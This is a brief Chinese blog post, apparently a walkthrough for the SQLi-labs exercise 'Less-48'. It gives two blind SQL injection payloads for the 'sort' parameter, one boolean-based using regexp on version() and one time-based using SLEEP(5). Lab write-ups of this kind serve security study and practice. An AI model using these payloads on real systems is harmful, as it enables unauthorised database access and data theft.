Less（48）

1.参考Less（46）

2.盲注

　　（1）布尔盲注：?sort=1 ^(select(select version()) regexp '^0')

　　　　

 

 　　（2）时间盲注：?sort=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(5)))test))

　　　　

 

posted @ 2020-03-14 14:13  孟雨  阅读(97)  评论(0)  编辑  收藏  举报